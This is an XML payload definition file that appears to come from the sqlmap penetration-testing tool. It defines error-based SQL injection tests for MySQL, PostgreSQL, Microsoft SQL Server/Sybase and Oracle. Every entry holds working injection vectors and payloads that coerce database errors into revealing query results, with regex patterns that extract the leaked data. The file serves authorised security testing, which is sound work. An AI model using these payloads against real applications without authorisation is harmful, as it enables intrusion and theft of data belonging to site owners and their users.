sqlmap/xml/payloads/error_based.xml

<?xml version="1.0" encoding="UTF-8"?>

<root>
    <!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
    <test>
        <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            -->
            <payload>AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <!-- It does not work against ORDER BY or GROUP BY clause -->
        <title>MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
            -->
            <payload>OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
        <request>
            <payload>AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.5 OR error-based - WHERE, HAVING clause (EXP)</title>
        <stype>2</stype>
        <level>4</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector>
        <request>
            <payload>OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.5</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
        <request>
            <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>

    <test>
        <!-- It does not work against ORDER BY or GROUP BY clause -->
        <title>MySQL &gt;= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
        <request>
            <payload>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            -->
            <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>3</risk>
        <clause>1,2,3,9</clause>
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
        <where>1</where>
        <vector>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
            -->
            <payload>OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.0</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
            -->
            <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1,2,3,9</clause>
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
        <where>1</where>
        <vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
            -->
            <payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
            -->
            <payload>AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,2,3,9</clause>
        <!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
        <where>1</where>
        <vector>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
            -->
            <payload>OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.1</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
            -->
            <payload>AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 4.1</dbms_version>
        </details>
    </test>

    <test>
        <!-- It does not work against ORDER BY or GROUP BY clause -->
        <title>MySQL &gt;= 4.1 OR error-based - WHERE, HAVING clause (FLOOR)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector>
        <request>
            <!-- These work as good as ELT(), but are longer
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
            -->
            <payload>OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 4.1</dbms_version>
        </details>
    </test>

    <!-- This payload with AND does not work -->
    <test>
        <title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</vector>
        <request>
            <payload>OR 1 GROUP BY CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0)</payload>
            <comment>#</comment>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL AND error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL OR error-based - WHERE or HAVING clause</title>
        <stype>2</stype>
        <level>1</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)</vector>
        <request>
            <payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))</vector>
        <request>
            <payload>OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
        <stype>2</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
        <request>
            <payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE or HAVING clause (XMLType)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle OR error-based - WHERE or HAVING clause (XMLType)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>3</risk>
        <clause>1,9</clause>
        <where>2</where>
        <vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
        <request>
            <payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
        <stype>2</stype>
        <level>2</level>
        <risk>1</risk>
        <clause>1,9</clause>
        <where>1</where>
        <vector>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
        <request>
            <payload>AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]')</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>Oracle</dbms>
            <dbms_version>&gt;= 8.1.6</dbms_version>
        </details>
    </test>

